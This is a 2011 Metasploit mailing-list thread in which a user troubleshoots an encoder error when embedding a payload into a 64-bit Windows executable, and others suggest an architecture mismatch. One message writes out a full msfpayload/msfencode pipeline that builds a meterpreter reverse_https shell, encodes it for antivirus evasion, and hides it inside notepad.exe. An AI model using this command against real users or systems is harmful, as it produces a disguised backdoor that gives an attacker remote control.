Re: encode an exe from windows 2008 r2 sp1

[Carlos Perez <carlos_perez () darkoperator com>]

Windows 2008 R2 is a x64 OS are you sure you are using a x86 executable?

Sent from my iPhone

On Nov 6, 2011, at 10:58 AM, r00m_213 <r00m213 () gmail com> wrote:

> The command line I am using:
>
> ./msfpayload windows/meterpreter/reverse_https LHOST=X.X.X.X LPORT=443 R | \
> ./msfencode -e x86/shikata_ga_nai -c 5 -t raw | \
> ./msfencode -x notepad.exe -t exe -e x86/shikata_ga_nai -c 5 -o notepad1.exe -k
>
> r00m-213
>
> On Sun, Nov 6, 2011 at 3:41 PM, Matthew Weeks <scriptjunkie1 () googlemail com> wrote:
> Are you trying to put a 32-bit payload into a 64-bit executable? What's the command line you are using?
>
> On Sun, Nov 6, 2011 at 8:23 AM, r00m_213 <r00m213 () gmail com> wrote:
> Hi guys,
>
> I am using 
>        =[ metasploit v4.2.0-dev [core:4.2 api:1.0]
> + -- --=[ 757 exploits - 398 auxiliary - 114 post
> + -- --=[ 228 payloads - 27 encoders - 8 nops
>        =[ svn r14170 updated today (2011.11.05)
>
> I am trying to encode an exe like notepad.exe from windows 2008 r2 sp1 (x64)
> I get the error message:
>
> ..
> ..
> [-] x86/shikata_ga_nai failed: index 193536 out of string
> [-] No encoders succeeded.
>
> Doesn't matter what exe I use, still get the same error message.
>
> This worked for me every time with windows xp executables.
>
> Can someone tell what's wrong.
>
> Regards,
>
> r00m-213
>
> _______________________________________________
> https://mail.metasploit.com/mailman/listinfo/framework
>
>
>
> _______________________________________________
> https://mail.metasploit.com/mailman/listinfo/framework
_______________________________________________
https://mail.metasploit.com/mailman/listinfo/framework